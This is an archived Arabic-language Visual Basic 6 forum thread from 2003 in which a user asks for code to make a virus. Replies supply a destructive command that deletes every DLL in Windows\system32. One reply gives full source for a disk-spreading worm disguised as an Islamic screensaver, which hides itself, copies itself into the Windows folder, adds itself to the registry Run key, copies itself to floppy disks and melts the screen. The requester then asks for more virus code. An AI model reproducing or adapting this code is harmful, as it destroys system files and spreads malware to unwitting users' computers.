الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

أبي كود لعمل فايروس

مغلق
بدأه مبرمج بسيط في 18 نوفمبر 2003 · 4 رد · 1,074 مشاهدة · في لغة Ms Visual Basic 6 وما قبلها من إصدارات
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكمك ورحمة الله وبركاته

أبي كود لعمل فايروس بالفجول وياريت مع الشرح تكفون يامشمش مان

#2

this is the code

privare sub_form load

kill("the path")s

put the file that u want to delete in the path

this is the path of file u wat to delete

kill("d:/windows/system32/*.dll

s does not mean any thing

#3

thanx to the law

بلعربي يا حبيبي

افتح الفجول بيسك

بعدين انشأ زر كومند

و حط في هذا الكود

kill "موقع الملف المراد مسحه"

و علشان ما تعب نفسك و تقعد تعيد مليون ملف اكتب هذا الكود

kill "c:windows/system32/*.dll"

هذا الكود معنا تمسح كل ملفات الdll الي في الجهاز

يعني الذكي بسوي مليون فيروس بهذي الطريقه

ملاحظه: علامه (*) معنها اي ملف بالامتداد الي تحطوا انتا

إن شاء الله ما اكون قصرت معاك اخوي و اي طلب تتاني انا تحت امرك و امر كل الأعضاء :D

WWW.VB.MSH-MSH-MAN.COM

#4

السلام عليكم

بالمناسبة بعطيك كود فيرس لا يؤذي ولكنه مزعج جداً وهو ينتشر عن طريق الدسكات وينسخ نفسه في اي دسك تدخله بدون علمك ويكون على شكل سكرين سيرفر

وها هو الكود

Private Declare Function ShellExecute Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation _
As String, ByVal lpFile As String, ByVal lpParameters _
As String, ByVal lpDirectory As String, ByVal nShowCmd _
As Long) As Long
'لتشغيل الملفات الأساسية
'=======================================================
Private Const WM_SYSCOMMAND = &H112&
Private Const SC_SCREENSAVE = &HF140&
Private Declare Function SendMessage Lib "user32" Alias _
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
'لتشغيل حافظة الشاشة الرئيسية
'=======================================================
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal Nsize As Long) As Long
'في الأعلى يوجد فنكشن معرفة موقع مجلد ويندوز
Private Declare Function GetDC Lib "user32" ( _
ByVal hwnd As Long) As Long
'========================================================
'يوجد تعريف صهر الشاشة
Private Declare Function BitBlt Lib "gdi32" ( _
ByVal hDestDC As Long, _
ByVal x As Long, _
ByVal Y As Long, _
ByVal nWidth As Long, _
ByVal nHeight As Long, _
ByVal hSrcDC As Long, _
ByVal xSrc As Long, _
ByVal ySrc As Long, _
ByVal dwRop As Long) As Long
'========================================================
Private Sub Form_Activate()
On Error Resume Next
Dim palysound1 As Variant
intlength = GetWindowsDirectory(strfolder, 255)
palysound1 = Left(strfolder, intlength)
'======================================
'هنا نقوم بإخفاء الفيرس كلياً من الجهاز
Call Hide_Program_In_CTRL_ALT_Delete
'======================================
App.TaskVisible = False
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim palysound1 As String
Dim strfolder As String * 255
Dim intlength As Integer
Dim exist As String
intlength = GetWindowsDirectory(strfolder, 255)
palysound1 = Left(strfolder, intlength)
'هنا نقوم بإخفاء الفيرس كلياً من الجهاز
Call Hide_Program_In_CTRL_ALT_Delete
App.TaskVisible = False
'===================================
exist = Dir$("C:\oncev.dat", vbHidden)
If exist = "" Then
' لبدء تشغيل حافظة شاشة الويندوز لأول مرة
Open "C:\oncev.dat" For Output As #1
Print #1, 1
Close #1
Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0)
SetAttr "C:\oncev.dat", vbHidden
'نقوم هنا بنسخ الفيرس إلى مجلد الويندوز لدى الضحية ونقوم بتشغيله من ذلك المكان
Me.Icon = (None)
FileCopy App.Path + "\" + App.EXEName + ".scr", palysound1 + "\systemwin" + ".exe"
SetAttr palysound1 + "\systemwin" + ".exe", vbHidden
ShellDocument palysound1 + "\systemwin" + ".exe"
'======================================
Exit Sub
End
Else
SaveSettingString HKEY_LOCAL_MACHINE, "Software\microsoft\windows\CurrentVersion\run", "systemwin", App.Path + "\systemwin" + ".exe"
copyv
Timer1.Interval = 500
Timer1.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Text1.Text = Text1.Text + 1
'========================================
If Text1.Text = 55 Then
'========================================
copyv
If Err.Number = 71 Then
Err.Clear
Text1.Text = 1
copyv
End If
If Err.Number = 0 Then
Text1.Text = 1
copyv
End If
End If
'Text1.Text = 1
End Sub
Private Sub copyv()
Dim x As String
'On Error Resume Next
x = App.Path + "\" + App.EXEName + ".exe"
FileCopy x, "A:\شاشة توقف الاسلام.scr"
End Sub
Sub ShellDocument(FileName As String)
Dim Ret&
Ret = ShellExecute(hwnd, "Open", FileName, "", "", 1)
If Ret <= 32 Then
Select Case Ret
Case 2&
'MsgBox "الملف غير موجود"
Case 3&
'MsgBox "المسار غير موجود"
Case 5&
'MsgBox "تعذر الوصول"
Case 8&
'MsgBox "ذاكرة غير كافية"
Case 11&
'MsgBox "هناك خلل في الملف التنفيذي"
Case 32&
'MsgBox "مكتبة الربط غير موجودة"
Case 31&
'MsgBox "لايوجد برنامج مقترن بهذا الامتداد"
Case Else
'MsgBox "خطأ غير معرف في هذا المثال"
End Select
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
'الأمر في الأسفل يحدد موعداً بالساعة واليوم والشهر والسنة موعد متكامل
If Format(Time, "hh") = 0 Or Format(Time, "hh") = 12 Or Format(Time, "hh") = 15 Or Format(Time, "hh") = 18 Or Format(Time, "hh") = 21 Then
Me.Font = "Tahoma"
Me.Font.Size = 50
Me.ForeColor = vbGreen
Print "HOW ARE YOU MAN ?YOU KNOW"
Print "I Love you !!!!"
timer3.Enabled = True
Timer2.Enabled = False
End If
'===========================================================================================================================================
End Sub
Private Sub screens()
'فنكشكن انصهار الشاشة
Me.BackColor = vbRed
Me.WindowState = 0
lngDC = GetDC(0)
intWidth = Screen.Width / Screen.TwipsPerPixelX
intHeight = Screen.Height / Screen.TwipsPerPixelY
Form1.Width = intWidth * 15
Form1.Height = intHeight * 15
Call BitBlt(hDC, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy)
Form1.Visible = vbTrue
Do
intX = (intWidth - 128) * Rnd
intY = (intHeight - 128) * Rnd
Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, vbSrcCopy)
DoEvents
Loop
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
Me.WindowState = 2
Me.Visible = True
Me.Show
screens
timer3.Enabled = False
Timer4.Enabled = True
End Sub
Private Sub Timer4_Timer()
If Format(Time, "hh") <> 0 Or Format(Time, "hh") <> 12 Or Format(Time, "hh") <> 15 Or Format(Time, "hh") <> 18 Or Format(Time, "hh") <> 21 Then
Timer2.Enabled = True
End If
End Sub
وحط هذا الكود في موديل
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
    Public Const RSP_SIMPLE_SERVICE = 1
    Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub Hide_Program_In_CTRL_ALT_Delete()
    Dim pid As Long
    Dim reserv As Long
    pid = GetCurrentProcessId()
    'regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
Public Sub Show_Program_In_CTRL_ALT_DELETE()
    Dim pid As Long
    Dim reserv As Long
    pid = GetCurrentProcessId()
    regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub
'=================================
Option Explicit
'For contacting information see other module
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_DYN_DATA = &H80000006
Public Const REG_SZ = 1                         ' Unicode nul terminated string
Public Const REG_BINARY = 3                     ' Free form binary
Public Const REG_DWORD = 4                      ' 32-bit number
Public Const ERROR_SUCCESS = 0&
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
'--------------------------------------------------
Public Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
'--------------------------------------------------
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Sub CreateKey(hKey As Long, strPath As String)
Dim hCurKey As Long
Dim lRegResult As Long
lRegResult = RegCreateKey(hKey, strPath, hCurKey)
If lRegResult <> ERROR_SUCCESS Then
  ' there is a problem
End If
lRegResult = RegCloseKey(hCurKey)
End Sub
Public Sub DeleteKey(ByVal hKey As Long, ByVal strPath As String)
Dim lRegResult As Long
lRegResult = RegDeleteKey(hKey, strPath)
End Sub
Public Sub DeleteValue(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String)
Dim hCurKey As Long
Dim lRegResult As Long
lRegResult = RegOpenKey(hKey, strPath, hCurKey)
lRegResult = RegDeleteValue(hCurKey, strValue)
lRegResult = RegCloseKey(hCurKey)
End Sub
Public Function GetSettingString(hKey As Long, strPath As String, strValue As String, Optional Default As String) As String
Dim hCurKey As Long
Dim lValueType As Long
Dim strBuffer As String
Dim lDataBufferSize As Long
Dim intZeroPos As Integer
Dim lRegResult As Long
' Set up default value
If Not IsEmpty(Default) Then
  GetSettingString = Default
Else
  GetSettingString = ""
End If
' Open the key and get length of string
lRegResult = RegOpenKey(hKey, strPath, hCurKey)
lRegResult = RegQueryValueEx(hCurKey, strValue, 0&, lValueType, ByVal 0&, lDataBufferSize)
If lRegResult = ERROR_SUCCESS Then
  If lValueType = REG_SZ Then
    ' initialise string buffer and retrieve string
    strBuffer = String(lDataBufferSize, " ")
    lRegResult = RegQueryValueEx(hCurKey, strValue, 0&, 0&, ByVal strBuffer, lDataBufferSize)
    ' format string
    intZeroPos = InStr(strBuffer, Chr$(0))
    If intZeroPos > 0 Then
      GetSettingString = Left$(strBuffer, intZeroPos - 1)
    Else
      GetSettingString = strBuffer
    End If
  End If
Else
  ' there is a problem
End If
lRegResult = RegCloseKey(hCurKey)
End Function
Public Sub SaveSettingString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim hCurKey As Long
Dim lRegResult As Long
lRegResult = RegCreateKey(hKey, strPath, hCurKey)
lRegResult = RegSetValueEx(hCurKey, strValue, 0, REG_SZ, ByVal strData, Len(strData))
If lRegResult <> ERROR_SUCCESS Then
  'there is a problem
End If
lRegResult = RegCloseKey(hCurKey)
End Sub
Public Function GetSettingLong(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String, Optional Default As Long) As Long
Dim lRegResult As Long
Dim lValueType As Long
Dim lBuffer As Long
Dim lDataBufferSize As Long
Dim hCurKey As Long
' Set up default value
If Not IsEmpty(Default) Then
  GetSettingLong = Default
Else
  GetSettingLong = 0
End If
lRegResult = RegOpenKey(hKey, strPath, hCurKey)
lDataBufferSize = 4       ' 4 bytes = 32 bits = long
lRegResult = RegQueryValueEx(hCurKey, strValue, 0&, lValueType, lBuffer, lDataBufferSize)
If lRegResult = ERROR_SUCCESS Then
  If lValueType = REG_DWORD Then
    GetSettingLong = lBuffer
  End If
Else
  'there is a problem
End If
lRegResult = RegCloseKey(hCurKey)
End Function
Public Sub SaveSettingLong(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String, ByVal lData As Long)
Dim hCurKey As Long
Dim lRegResult As Long
lRegResult = RegCreateKey(hKey, strPath, hCurKey)
lRegResult = RegSetValueEx(hCurKey, strValue, 0&, REG_DWORD, lData, 4)
If lRegResult <> ERROR_SUCCESS Then
  'there is a problem
End If
lRegResult = RegCloseKey(hCurKey)
End Sub
Public Function GetSettingByte(ByVal hKey As Long, ByVal strPath As String, ByVal strValueName As String, Optional Default As Variant) As Variant
Dim lValueType As Long
Dim byBuffer() As Byte
Dim lDataBufferSize As Long
Dim lRegResult As Long
Dim hCurKey As Long
' setup default value
If Not IsEmpty(Default) Then
  If VarType(Default) = vbArray + vbByte Then
    GetSettingByte = Default
  Else
    GetSettingByte = 0
  End If
Else
  GetSettingByte = 0
End If
' Open the key and get number of bytes
lRegResult = RegOpenKey(hKey, strPath, hCurKey)
lRegResult = RegQueryValueEx(hCurKey, strValueName, 0&, lValueType, ByVal 0&, lDataBufferSize)
If lRegResult = ERROR_SUCCESS Then
  If lValueType = REG_BINARY Then
    ' initialise buffers and retrieve value
    ReDim byBuffer(lDataBufferSize - 1) As Byte
    lRegResult = RegQueryValueEx(hCurKey, strValueName, 0&, lValueType, byBuffer(0), lDataBufferSize)
    GetSettingByte = byBuffer
  End If
Else
  'there is a problem
End If
lRegResult = RegCloseKey(hCurKey)
End Function
Public Sub SaveSettingByte(ByVal hKey As Long, ByVal strPath As String, ByVal strValueName As String, byData() As Byte)
' Make sure that the array starts with element 0 before passing it!
' (otherwise it will not be saved!)
Dim lRegResult As Long
Dim hCurKey As Long
lRegResult = RegCreateKey(hKey, strPath, hCurKey)
' Pass the first array element and length of array
lRegResult = RegSetValueEx(hCurKey, strValueName, 0&, REG_BINARY, byData(0), UBound(byData()) + 1)
lRegResult = RegCloseKey(hCurKey)
End Sub
Public Function GetAllKeys(hKey As Long, strPath As String) As Variant
' Returns: an array in a variant of strings
Dim lRegResult As Long
Dim lCounter As Long
Dim hCurKey As Long
Dim strBuffer As String
Dim lDataBufferSize As Long
Dim strNames() As String
Dim intZeroPos As Integer
lCounter = 0
lRegResult = RegOpenKey(hKey, strPath, hCurKey)
Do
  'initialise buffers (longest possible length=255)
  lDataBufferSize = 255
  strBuffer = String(lDataBufferSize, " ")
  lRegResult = RegEnumKey(hCurKey, lCounter, strBuffer, lDataBufferSize)
  If lRegResult = ERROR_SUCCESS Then
    'tidy up string and save it
    ReDim Preserve strNames(lCounter) As String
    intZeroPos = InStr(strBuffer, Chr$(0))
    If intZeroPos > 0 Then
      strNames(UBound(strNames)) = Left$(strBuffer, intZeroPos - 1)
    Else
      strNames(UBound(strNames)) = strBuffer
    End If
    lCounter = lCounter + 1
  Else
    Exit Do
  End If
Loop
GetAllKeys = strNames
End Function
Public Function GetAllValues(hKey As Long, strPath As String) As Variant
' Returns: a 2D array.
' (x,0) is value name
' (x,1) is value type (see constants)
Dim lRegResult As Long
Dim hCurKey As Long
Dim lValueNameSize As Long
Dim strValueName As String
Dim lCounter As Long
Dim byDataBuffer(4000) As Byte
Dim lDataBufferSize As Long
Dim lValueType As Long
Dim strNames() As String
Dim lTypes() As Long
Dim intZeroPos As Integer
lRegResult = RegOpenKey(hKey, strPath, hCurKey)
Do
  ' Initialise bufffers
  lValueNameSize = 255
  strValueName = String$(lValueNameSize, " ")
  lDataBufferSize = 4000
  lRegResult = RegEnumValue(hCurKey, lCounter, strValueName, lValueNameSize, 0&, lValueType, byDataBuffer(0), lDataBufferSize)
  If lRegResult = ERROR_SUCCESS Then
    ' Save the type
    ReDim Preserve strNames(lCounter) As String
    ReDim Preserve lTypes(lCounter) As Long
    lTypes(UBound(lTypes)) = lValueType
    'Tidy up string and save it
    intZeroPos = InStr(strValueName, Chr$(0))
    If intZeroPos > 0 Then
      strNames(UBound(strNames)) = Left$(strValueName, intZeroPos - 1)
    Else
      strNames(UBound(strNames)) = strValueName
    End If
    lCounter = lCounter + 1
  Else
    Exit Do
  End If
Loop
'Move data into array
Dim Finisheddata() As Variant
ReDim Finisheddata(UBound(strNames), 0 To 1) As Variant
For lCounter = 0 To UBound(strNames)
  Finisheddata(lCounter, 0) = strNames(lCounter)
  Finisheddata(lCounter, 1) = lTypes(lCounter)
Next
GetAllValues = Finisheddata
End Function

      
      

      
بالعلم والإيمان نبني أمتنا ونعيد عزتنا

    

  

    
    

      
#5
        
        

      
مشكور جدا ياأخ عاشق الجنان على المشاركة الجميلة في هذا الموضوع  .
                          كان ردك جدا رائع  لهذا الموضوع الشيق بالنسبة لي 
                                وياريت المزيد من الاكواد لعمل الفايروسات  .
أخوك /  مبرمج بسيط  .

      
      

      
    

  

    
    
 هذا الموضوع مغلق.

    
 مواضيع مشابهة